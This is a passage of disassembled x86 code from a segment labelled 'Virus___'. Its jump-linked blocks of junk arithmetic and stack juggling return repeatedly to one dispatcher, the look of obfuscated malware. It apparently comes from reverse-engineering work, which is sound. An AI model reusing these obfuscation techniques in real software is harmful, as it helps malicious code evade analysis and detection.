; ---------------------------------------------------------------------------


loc_576415:				; CODE XREF: Virus___:0057763Dj
		mov	ecx, esp
		jmp	loc_57C13E
; ---------------------------------------------------------------------------


loc_57641C:				; CODE XREF: Virus___:00577EE6j
		xor	ebp, 2460843Ah
		add	ebx, 7D1158E7h
		jmp	loc_5763E0
; ---------------------------------------------------------------------------


loc_57642D:				; CODE XREF: Virus___:0057D872j
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	eax, 41D85EC3h
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		jmp	loc_57D6D0
; ---------------------------------------------------------------------------


loc_576444:				; CODE XREF: Virus___:0057625Dj
		add	edi, 0BDD5D8D1h
		jmp	loc_57DDD8
; ---------------------------------------------------------------------------


loc_57644F:				; CODE XREF: Virus___:0057C949j
		push	eax
		jmp	loc_57CF83
; ---------------------------------------------------------------------------


loc_576455:				; CODE XREF: Virus___:00573E42j
		add	esp, 2
		add	bl, dl
		jmp	loc_5798B7
; ---------------------------------------------------------------------------


loc_57645F:				; CODE XREF: Virus___:0057C47Dj
		add	ebx, 4
		jmp	loc_57BE09
; ---------------------------------------------------------------------------


loc_576467:				; CODE XREF: Virus___:0057AEE9j
		mov	edx, 2C60544Fh
		or	ebp, edx
		pop	edx
		xor	ebp, 0B9F5E8C6h
		sub	eax, ebp
		jmp	loc_579AAA
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	esi
		jmp	loc_57A068
; ---------------------------------------------------------------------------


loc_576486:				; CODE XREF: Virus___:00578EEBj
		shl	edx, 1
		push	ebp
		push	edx
		jmp	loc_5732FE
; ---------------------------------------------------------------------------


loc_57648F:				; CODE XREF: Virus___:00578EBDj
		neg	eax
		jmp	loc_57E0B9
; ---------------------------------------------------------------------------


loc_576496:				; CODE XREF: Virus___:005796EFj
		push	eax
		jmp	loc_57BD58
; ---------------------------------------------------------------------------


loc_57649C:				; CODE XREF: Virus___:0057300Dj
		and	ebx, 69722151h
		jmp	loc_574577
; ---------------------------------------------------------------------------


loc_5764A7:				; CODE XREF: Virus___:005733DFj
		add	edi, 3BB53C07h
		pop	ebx
		sub	ebx, 6AD1E7Ch
		sub	ebx, 60632F68h
		sub	ebx, edi
		add	ebx, 60632F68h
		add	ebx, 6AD1E7Ch
		jmp	loc_57A457
; ---------------------------------------------------------------------------
		align 2
		dw 51D8h
; ---------------------------------------------------------------------------
		mov	cl, 0B3h
		jmp	loc_57B44D
; ---------------------------------------------------------------------------


loc_5764D7:				; CODE XREF: Virus___:0057345Bj
		push	esp
		pop	ebp
		jmp	loc_57306A
; ---------------------------------------------------------------------------


loc_5764DE:				; CODE XREF: Virus___:00576B10j
		shl	esi, 1
		shl	esi, 7
		add	esi, 202B7E97h
		add	esi, 78CAEBFAh
		mov	ebx, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_57E639
; ---------------------------------------------------------------------------


loc_576502:				; CODE XREF: Virus___:005731DBj
		pop	ebx
		jmp	loc_578C44
; ---------------------------------------------------------------------------


loc_576508:				; CODE XREF: Virus___:0057E4E3j
		mov	[esp], ecx
		push	ebp
		jmp	loc_57BA10
; ---------------------------------------------------------------------------


loc_576511:				; CODE XREF: Virus___:0057C4BBj
		add	bh, 0B3h
		sub	bh, 0E9h
		sub	al, bh
		pop	ebx
		add	bl, 0A0h
		push	5506h
		mov	[esp], eax
		mov	ah, 80h
		and	ah, 88h
		not	ah
		sub	ah, 79h
		jmp	loc_57E266
; ---------------------------------------------------------------------------


loc_576534:				; CODE XREF: Virus___:0057AD4Aj
		sub	ebx, eax
		add	ebx, 68063354h
		sub	ebx, 392741A1h
		sub	ebx, 11E20006h
		sub	ebx, 1DDB2632h
		pop	dword ptr [eax]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_576555:				; CODE XREF: Virus___:00572A34j
		push	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_5781AD
; ---------------------------------------------------------------------------


loc_576577:				; CODE XREF: Virus___:0057861Fj
		add	dword ptr [esp], 4
		pop	ebx
		push	edx
		push	52751FFBh
		pop	edx
		and	edx, 525D5B5Eh
		sub	edx, 48FE1293h
		or	edx, 6DE0639Eh
		inc	edx
		or	edx, 67380DEDh
		jmp	loc_57E108
; ---------------------------------------------------------------------------


loc_5765A1:				; CODE XREF: Virus___:0057463Bj
		add	dword ptr [esp], 4
		pop	eax
		push	2E9h
		mov	[esp], ebx
		jmp	loc_5735E8
; ---------------------------------------------------------------------------


loc_5765B3:				; CODE XREF: Virus___:00579F21j
		add	eax, esi
		jmp	loc_57E0EE
; ---------------------------------------------------------------------------


loc_5765BA:				; CODE XREF: Virus___:0057C368j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		push	43AAh
		mov	[esp], ebp
		jmp	loc_57CE61
; ---------------------------------------------------------------------------


loc_5765D1:				; CODE XREF: Virus___:00574002j
		mov	ebx, esp
		jmp	loc_57714D
; ---------------------------------------------------------------------------


loc_5765D8:				; CODE XREF: Virus___:00574B92j
		xor	ecx, [esp]
		pop	esp
		shr	ecx, 6
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_57E570
; ---------------------------------------------------------------------------


loc_5765F9:				; CODE XREF: Virus___:0057EB75j
		push	eax
		mov	eax, 3C497DFFh
		sub	eax, 0DFDC257Ch
		sub	ebp, eax
		pop	eax
		or	ebp, 4FA27F8Bh
		or	ebp, 4C9141C8h
		shr	ebp, 2
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57BEBF
; ---------------------------------------------------------------------------


loc_576621:				; CODE XREF: Virus___:00579997j
		push	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5776DB
; ---------------------------------------------------------------------------


loc_576631:				; CODE XREF: Virus___:0057E304j
		push	1307h
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		jmp	loc_57E956
; ---------------------------------------------------------------------------


loc_576641:				; CODE XREF: Virus___:00576CBFj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_578767
; ---------------------------------------------------------------------------


loc_57664F:				; CODE XREF: Virus___:0057769Cj
		mov	ecx, 71865C4Dh
		jmp	loc_57405E
; ---------------------------------------------------------------------------


loc_576659:				; CODE XREF: Virus___:0057CD59j
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 15702D00h
		add	edx, 4ED760DEh
		sub	edx, 64478DDAh
		add	eax, edx
		pop	edx
		jmp	loc_5796A3
; ---------------------------------------------------------------------------


loc_57667A:				; CODE XREF: Virus___:00579BF9j
		add	ecx, 0FFFFFFFFh
		inc	ecx
		jmp	loc_5783D0
; ---------------------------------------------------------------------------


loc_576683:				; CODE XREF: Virus___:00577B09j
		push	dword ptr [esp+4]
		jmp	loc_575BD4
; ---------------------------------------------------------------------------


loc_57668C:				; CODE XREF: Virus___:0057BA0Bj
		push	5C87h
		mov	[esp], ebp
		mov	ebp, 800h
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_57DA0C
; ---------------------------------------------------------------------------


loc_5766A3:				; CODE XREF: Virus___:0057694Cj
		sub	esp, 4
		jmp	loc_57CDC2
; ---------------------------------------------------------------------------


loc_5766AE:				; CODE XREF: Virus___:00573065j
		add	ebx, 26C928FFh
		xor	ebx, 35BB713Dh
		jmp	loc_577689
; ---------------------------------------------------------------------------


loc_5766BF:				; CODE XREF: Virus___:00573234j
		pop	edx
		add	ecx, 4
		jmp	loc_57B050
; ---------------------------------------------------------------------------


loc_5766CB:				; CODE XREF: Virus___:0057B697j
		push	ebx
		mov	ebx, 5622B50h
		sub	ebx, 5622B4Ch
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_57B786
; ---------------------------------------------------------------------------


loc_5766ED:				; CODE XREF: Virus___:00577584j
		add	esp, 4
		jmp	loc_57A782
; ---------------------------------------------------------------------------


loc_5766F5:				; CODE XREF: Virus___:0057EB3Fj
		not	dword ptr [esp]
		pop	edi
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		push	2542h
		mov	[esp], ebp
		jmp	loc_57E500
; ---------------------------------------------------------------------------


loc_57670C:				; CODE XREF: Virus___:00579388j
		push	eax
		mov	al, ch
		mov	bh, al
		pop	eax
		pop	ecx
		sub	bh, 0E0h
		add	bh, 0Ch
		sub	al, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		push	eax
		mov	al, 3Dh
		jmp	loc_57A0D4
; ---------------------------------------------------------------------------


loc_57672E:				; CODE XREF: Virus___:005769F7j
		sub	ecx, esi
		pop	esi
		xor	ecx, 221C464Fh
		add	ecx, 0FFFFFFFFh
		add	ecx, 120C9462h
		mov	edi, 636809F1h
		xor	edi, ecx
		mov	ecx, [esp]
		push	598Bh
		jmp	loc_57D497
; ---------------------------------------------------------------------------


loc_576754:				; CODE XREF: Virus___:00574598j
		add	edi, 76E75578h
		jmp	loc_575E7E
; ---------------------------------------------------------------------------


loc_57675F:				; CODE XREF: Virus___:00573C0Bj
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		jmp	loc_579DFA
; ---------------------------------------------------------------------------


loc_57676A:				; CODE XREF: Virus___:0057548Dj
		mov	[esp], ecx
		jmp	loc_5791B7
; ---------------------------------------------------------------------------


loc_576772:				; CODE XREF: Virus___:005737DCj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		sub	ebp, 152433B8h
		jmp	loc_57339B
; ---------------------------------------------------------------------------


loc_57678C:				; CODE XREF: Virus___:00578F95j
		push	ebx
		mov	ebx, 52B05C8h
		sub	ebx, 673F62C8h
		jmp	loc_5739AD
; ---------------------------------------------------------------------------


loc_57679D:				; CODE XREF: Virus___:00573BF0j
		shl	eax, 6
		xchg	eax, ebp
		jmp	loc_574CD4
; ---------------------------------------------------------------------------


loc_5767A6:				; CODE XREF: Virus___:0057C243j
		add	eax, 4
		push	edx
		push	esi
		mov	esi, 4
		mov	edx, esi
		jmp	loc_577108
; ---------------------------------------------------------------------------


loc_5767B9:				; CODE XREF: Virus___:00578919j
		mov	edx, ebp
		pop	ebp
		sub	eax, edx
		pop	edx
		push	5599h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		jmp	loc_576B0A
; ---------------------------------------------------------------------------


loc_5767DF:				; CODE XREF: Virus___:0057DAB9j
		sub	dx, si
		jmp	loc_572F72
; ---------------------------------------------------------------------------


loc_5767E7:				; CODE XREF: Virus___:0057DF1Bj
		push	esi
		push	edi
		push	23C56489h
		jmp	loc_5797EB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_576802:				; CODE XREF: Virus___:00575107j
		mov	ax, [esp]
		push	7014h
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		jmp	loc_573A52
; ---------------------------------------------------------------------------


loc_576834:				; CODE XREF: Virus___:00575E8Dj
		add	edi, esi
		jmp	loc_57B703
; ---------------------------------------------------------------------------


loc_57683B:				; CODE XREF: Virus___:00573A46j
		push	edx
		jmp	loc_57E882
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	302Fh
		mov	[esp], ebx
		push	esi
		push	0E9569F8h
		jmp	loc_57AD4F
; ---------------------------------------------------------------------------


loc_576868:				; CODE XREF: Virus___:00572FD5j
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 1AFC2AC3h
		push	0C88h
		mov	[esp], ecx
		mov	ecx, 0ECCFE4BDh
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 5C56160Bh
		jmp	loc_57CDB3
; ---------------------------------------------------------------------------


loc_57689A:				; CODE XREF: Virus___:0057EC26j
		sub	eax, 7456E8Ch
		pop	edi
		sub	eax, ebx
		sub	eax, 35CA399Dh
		pop	ebx
		sub	esp, 4
		jmp	loc_57778F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		push	ebx
		jmp	loc_577BE2
; ---------------------------------------------------------------------------


loc_5768CC:				; CODE XREF: Virus___:0057784Dj
		mov	ax, [esp]
		add	esp, 2
		sub	bh, al
		push	edx
		mov	dh, 0C7h
		inc	dh
		shl	dh, 2
		or	dh, 99h
		add	dh, 0EFh
		sub	bh, dh
		pop	edx
		pop	eax
		xor	al, bh
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_574789
; ---------------------------------------------------------------------------


loc_576905:				; CODE XREF: Virus___:00578712j
		xor	ebp, 6ADDEA3h
		jmp	loc_578EE1
; ---------------------------------------------------------------------------


loc_576910:				; CODE XREF: Virus___:0057425Aj
		sub	ebp, 6F1133CCh
		pop	ebx
		or	ebp, 4E5949AFh
		jmp	loc_57D40B
; ---------------------------------------------------------------------------


loc_576922:				; CODE XREF: Virus___:00578267j
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_576ABA
; ---------------------------------------------------------------------------


loc_576931:				; CODE XREF: Virus___:00576B53j
		pop	edx
		add	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57694A:				; CODE XREF: Virus___:0057DB77j
		add	ebx, eax
		jmp	loc_5766A3
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		push	ebp
		mov	ebp, 5F5700E3h
		not	ebp
		jmp	loc_57A46D
; ---------------------------------------------------------------------------


loc_576960:				; CODE XREF: Virus___:00577B68j
		push	edx
		push	1B781A77h
		mov	edx, [esp]
		add	esp, 4
		shl	edx, 3
		jmp	loc_578F66
; ---------------------------------------------------------------------------


loc_576977:				; CODE XREF: Virus___:0057D7CCj
		push	edx
		mov	dl, 0E9h
		jmp	loc_577F64
; ---------------------------------------------------------------------------


loc_57697F:				; CODE XREF: Virus___:0057B6D2j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		jmp	loc_57C061
; ---------------------------------------------------------------------------


loc_57698E:				; CODE XREF: Virus___:0057A7F8j
		add	esp, 4
		jmp	loc_575D0F
; ---------------------------------------------------------------------------


loc_576996:				; CODE XREF: Virus___:0057E288j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_57EEF1
; ---------------------------------------------------------------------------


loc_5769A4:				; CODE XREF: Virus___:005779D5j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_578601
; ---------------------------------------------------------------------------


loc_5769BA:				; CODE XREF: Virus___:005789BCj
		xchg	esi, [esp]
		jmp	loc_57801F
; ---------------------------------------------------------------------------


loc_5769C2:				; CODE XREF: Virus___:00577C3Fj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	744Ch
		jmp	loc_578CFA
; ---------------------------------------------------------------------------


loc_5769E7:				; CODE XREF: Virus___:00575C68j
		mov	[esp], ecx
		mov	ecx, 4EC16400h
		neg	ecx
		push	esi
		mov	esi, 78710E4Bh
		jmp	loc_57672E
; ---------------------------------------------------------------------------


loc_5769FC:				; CODE XREF: Virus___:00572CAEj
		mov	[esp], edx
		push	0A540A1h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	edx, 3DA4579Fh
		push	ecx
		jmp	loc_577FFB
; ---------------------------------------------------------------------------


loc_576A1A:				; CODE XREF: Virus___:0057BC41j
		add	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	15Fh
		mov	[esp], ebp
		push	esi
		mov	esi, 7B6D227Bh
		or	esi, 4A66085Bh
		sub	esi, 1F910382h
		neg	esi
		and	esi, 49092835h
		add	esi, 0FFFEF7FFh
		mov	ebp, esi
		pop	esi
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_57E603
; ---------------------------------------------------------------------------


loc_576A6A:				; CODE XREF: Virus___:0057E51Bj
		push	edi
		mov	edi, 163E48C3h
		shr	edi, 3
		add	edi, 0FD3836E9h
		mov	esi, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		pop	ebp
		push	dword ptr [esp]
		pop	esi
		push	edi
		jmp	loc_57CF2E
; ---------------------------------------------------------------------------


loc_576A9A:				; CODE XREF: Virus___:00578C1Dj
		pop	edx
		push	3DE7h
		jmp	loc_573D0E
; ---------------------------------------------------------------------------


loc_576AA5:				; CODE XREF: Virus___:0057D371j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_576E4C
; ---------------------------------------------------------------------------


loc_576ABA:				; CODE XREF: Virus___:0057692Cj
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_57D304
; ---------------------------------------------------------------------------


loc_576AC6:				; CODE XREF: Virus___:0057DFBBj
		mov	[esp], esi
		jmp	loc_57524A
; ---------------------------------------------------------------------------


loc_576ACE:				; CODE XREF: Virus___:005758D7j
		push	ebx
		mov	ebx, 37A839BBh
		jmp	loc_5756B9
; ---------------------------------------------------------------------------


loc_576AD9:				; CODE XREF: Virus___:00575B98j
		mov	[esp], ecx
		mov	ecx, 2
		jmp	loc_573E4E
; ---------------------------------------------------------------------------


loc_576AE6:				; CODE XREF: Virus___:00575603j
		and	edi, 2F9A6041h
		neg	edi
		sub	edi, 0D8679FBBh
		add	ebp, 377D2D21h
		add	ebp, edi
		sub	ebp, 377D2D21h
		mov	edi, [esp]
		jmp	loc_5770BE
; ---------------------------------------------------------------------------


loc_576B0A:				; CODE XREF: Virus___:005767DAj
		mov	esi, 43DE163Ch
		inc	esi
		jmp	loc_5764DE
; ---------------------------------------------------------------------------


loc_576B15:				; CODE XREF: Virus___:0057CFA3j
		add	al, dl
		sub	al, 96h
		pop	edx
		sub	al, bl
		sub	al, 0D4h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	4778h
		mov	[esp], ecx
		mov	cl, 0CEh
		or	cl, 11h
		push	edx
		mov	dl, 1Ch
		add	dl, 0AFh
		push	ecx
		mov	ch, 0E2h
		not	ch
		shl	ch, 3
		shl	ch, 5
		or	ch, 7Fh
		xor	ch, 57h
		jmp	loc_57547C
; ---------------------------------------------------------------------------


loc_576B51:				; CODE XREF: Virus___:00578867j
		sub	edi, edx
		jmp	loc_576931
; ---------------------------------------------------------------------------


loc_576B58:				; CODE XREF: Virus___:005743B3j
		pop	edi
		jmp	loc_579B22
; ---------------------------------------------------------------------------


loc_576B5E:				; CODE XREF: Virus___:0057CD86j
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, eax
		add	[ebx], ebp
		pop	ebx
		pop	eax
		pop	ebp


loc_576B6D:				; CODE XREF: Virus___:005791D0j
		push	17ACh
		mov	[esp], ebx
		push	edx
		push	5745h
		mov	[esp], esi
		jmp	loc_57A571
; ---------------------------------------------------------------------------


loc_576B83:				; CODE XREF: Virus___:00576319j
		pop	edi
		sub	edi, 0DAB6B959h
		sub	esi, 2E902FB9h
		add	esi, edi
		jmp	loc_576059
; ---------------------------------------------------------------------------


loc_576B97:				; CODE XREF: Virus___:00574A0Dj
		mov	ah, 2Ch
		add	ah, 0
		xor	ah, 2
		xor	dh, ah
		jmp	loc_575B40
; ---------------------------------------------------------------------------


loc_576BA6:				; CODE XREF: Virus___:0057AC48j
		add	ecx, esi
		add	ecx, 0D1C75ACh
		jmp	loc_57BBB7
; ---------------------------------------------------------------------------


loc_576BB3:				; CODE XREF: Virus___:005794AEj
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_57C697
; ---------------------------------------------------------------------------


loc_576BBE:				; CODE XREF: Virus___:0057EC87j
		xor	ecx, [esp]
		pop	esp
		mov	ax, [esp]
		push	2D28h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 2
		sub	eax, 11855C28h
		add	eax, 26635FB3h
		add	eax, edx
		push	edi
		mov	edi, 2A9A1AE5h
		jmp	loc_57D7FD
; ---------------------------------------------------------------------------


loc_576BF2:				; CODE XREF: Virus___:005737F9j
		pop	ebp
		push	eax
		push	edx
		push	0CAF4855h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_57445B
; ---------------------------------------------------------------------------


loc_576C08:				; CODE XREF: Virus___:0057B31Aj
		shl	esi, 4
		inc	esi
		sub	esi, 2E5C89E2h
		jmp	loc_577F2C
; ---------------------------------------------------------------------------


loc_576C17:				; CODE XREF: Virus___:0057D182j
		xor	bx, di
		pop	edi
		xor	cx, bx
		mov	bx, [esp]
		add	esp, 2
		sub	cx, 0C92Ah
		sub	esp, 2
		jmp	loc_57EB7A
; ---------------------------------------------------------------------------


loc_576C38:				; CODE XREF: Virus___:0057DF66j
		xor	ecx, 0C460731Bh
		push	edi
		mov	edi, 2A7A3F5Ch
		add	eax, edi
		jmp	loc_57A6FA
; ---------------------------------------------------------------------------


loc_576C4B:				; CODE XREF: Virus___:0057B358j
		pop	dword ptr [esp]
		pop	esp
		mul	ecx
		push	7B1Eh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_576C60:				; CODE XREF: Virus___:0057C55Cj
		xchg	ecx, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_576C70:				; CODE XREF: Virus___:0057A339j
		pop	esp
		add	eax, ebx
		push	2E3Bh
		jmp	loc_5797CD
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_576C86:				; CODE XREF: Virus___:0057636Aj
		push	6EAD7319h
		jmp	loc_57D8D7
; ---------------------------------------------------------------------------


loc_576C90:				; CODE XREF: Virus___:005755ACj
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, 1E69479Eh
		add	ecx, esi
		add	ecx, 1E69479Eh
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_57BCA3
; ---------------------------------------------------------------------------


loc_576CB9:				; CODE XREF: Virus___:0057A37Dj
		add	esp, 4
		jmp	loc_576641
; ---------------------------------------------------------------------------


loc_576CC4:				; CODE XREF: Virus___:00575796j
		mov	ah, 6Dh
		push	ebx
		push	ecx
		jmp	loc_57C602
; ---------------------------------------------------------------------------


loc_576CCD:				; CODE XREF: Virus___:00574647j
		mov	edi, [esp]
		push	ebp
		jmp	loc_577305
; ---------------------------------------------------------------------------


loc_576CD6:				; CODE XREF: Virus___:0057EFB3j
		mov	bl, 0A2h
		and	bl, 37h
		push	ax
		mov	ah, 0B4h
		jmp	loc_57E9A6
; ---------------------------------------------------------------------------


loc_576CE4:				; CODE XREF: Virus___:00577DD7j
		mov	esi, 2AA02CDh
		add	eax, esi
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_57D779
; ---------------------------------------------------------------------------


loc_576CFD:				; CODE XREF: Virus___:0057DAE2j
		xor	ebx, ecx
		pop	ecx
		sub	ebp, ebx
		jmp	loc_57A270
; ---------------------------------------------------------------------------


loc_576D07:				; CODE XREF: Virus___:00579B1Dj
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 12E34468h
		jmp	loc_57821A
; ---------------------------------------------------------------------------


loc_576D1B:				; CODE XREF: Virus___:0057575Ej
		push	77700B20h
		pop	ebp
		neg	ebp
		push	esi
		mov	esi, 6DC03CA2h
		xor	esi, 2E7D6077h
		jmp	loc_57EBA3
; ---------------------------------------------------------------------------


loc_576D34:				; CODE XREF: Virus___:00572A9Cj
		push	esi
		jmp	loc_57BE7C
; ---------------------------------------------------------------------------


loc_576D3A:				; CODE XREF: Virus___:0057ECDEj
		add	edx, 2CEB7852h
		jmp	loc_57DD2D
; ---------------------------------------------------------------------------


loc_576D45:				; CODE XREF: Virus___:00579F17j
		push	edx
		push	6D01h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	ecx
		mov	ecx, 33B11699h
		and	ecx, 6BE10B5Ch
		sub	ecx, 563675A2h
		sub	ecx, 789F17F4h
		mov	edi, ecx
		pop	ecx
		shl	edi, 3
		jmp	loc_57C482
; ---------------------------------------------------------------------------


loc_576D80:				; CODE XREF: Virus___:00577094j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_576D85:				; CODE XREF: Virus___:0057BBE9j
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_578697
; ---------------------------------------------------------------------------


loc_576D8E:				; CODE XREF: Virus___:00574EF5j
		add	ecx, 660E5073h
		add	ecx, ebx
		sub	ecx, 660E5073h
		push	edx
		mov	edx, 32883F96h
		not	edx
		jmp	loc_57A760
; ---------------------------------------------------------------------------


loc_576DA9:				; CODE XREF: Virus___:0057D5C2j
		add	edx, 15AD7E59h
		sub	edx, ebx
		sub	edx, 15AD7E59h
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_57EA0F
; ---------------------------------------------------------------------------


loc_576DC3:				; CODE XREF: Virus___:00573433j
		xchg	edx, ebp
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		xchg	edx, ebp
		xchg	ebp, ebx
		xor	ebx, 75B60D20h
		push	esi
		push	eax
		mov	eax, 502B67ABh
		mov	esi, eax
		jmp	loc_57B30D
; ---------------------------------------------------------------------------


loc_576DE3:				; CODE XREF: Virus___:0057C286j
		dec	bl
		jmp	loc_57C191
; ---------------------------------------------------------------------------


loc_576DEA:				; CODE XREF: Virus___:00579BC7j
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	eax, 2DC97F91h
		sub	eax, 76BD0E98h
		jmp	loc_5741CB
; ---------------------------------------------------------------------------


loc_576E05:				; CODE XREF: Virus___:0057A2C0j
		mov	dh, 3Fh
		mov	al, dh
		pop	edx
		add	bh, al
		pop	ax
		sub	bh, 60h
		jmp	loc_57B878
; ---------------------------------------------------------------------------


loc_576E16:				; CODE XREF: Virus___:005794C8j
		push	edx
		push	ebx
		mov	ebx, 25D7634Ch
		jmp	loc_579333
; ---------------------------------------------------------------------------


loc_576E22:				; CODE XREF: Virus___:0057E002j
		mov	esi, esp
		jmp	loc_5794A8
; ---------------------------------------------------------------------------


loc_576E29:				; CODE XREF: Virus___:00573CE5j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_57D7DF
; ---------------------------------------------------------------------------


loc_576E39:				; CODE XREF: Virus___:0057E114j
		sub	ebx, 327F60C5h
		add	ebx, edx
		add	ebx, 327F60C5h
		jmp	loc_577016
; ---------------------------------------------------------------------------


loc_576E4C:				; CODE XREF: Virus___:00576AB5j
		pop	eax
		add	esp, 4
		push	2164h
		mov	[esp], ebp
		push	ebx
		push	3023981h
		jmp	loc_575F0D
; ---------------------------------------------------------------------------


loc_576E63:				; CODE XREF: Virus___:00573B36j
		push	3471h
		mov	[esp], esi
		mov	esi, 3AD70223h
		jmp	loc_57913C
; ---------------------------------------------------------------------------


loc_576E75:				; CODE XREF: Virus___:0057E4B7j
		not	esi
		jmp	loc_57B346
; ---------------------------------------------------------------------------


loc_576E7C:				; CODE XREF: Virus___:0057CEC2j
		mov	esp, [esp]
		push	ecx
		push	esp
		jmp	loc_572B44
; ---------------------------------------------------------------------------


loc_576E86:				; CODE XREF: Virus___:0057ACA0j
		add	esp, 4
		push	edi
		jmp	loc_577CB3
; ---------------------------------------------------------------------------


loc_576E8F:				; CODE XREF: Virus___:00577E31j
		add	esp, 4
		sub	eax, 363A021Ch
		add	eax, ebp
		push	ebp
		mov	ebp, 363A021Ch
		add	eax, 68C05EA6h
		add	eax, ebp
		sub	eax, 68C05EA6h
		pop	ebp
		pop	ebp
		push	edx
		mov	edx, 2
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_576ECF:				; CODE XREF: Virus___:0057B026j
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	ecx
		mov	ecx, 0F6745E5h
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_575171
; ---------------------------------------------------------------------------


loc_576EF1:				; CODE XREF: Virus___:0057B412j
		add	esi, 224A31CBh
		add	esi, 4C2B04CBh
		add	esi, 16168E39h
		mov	ebx, esi
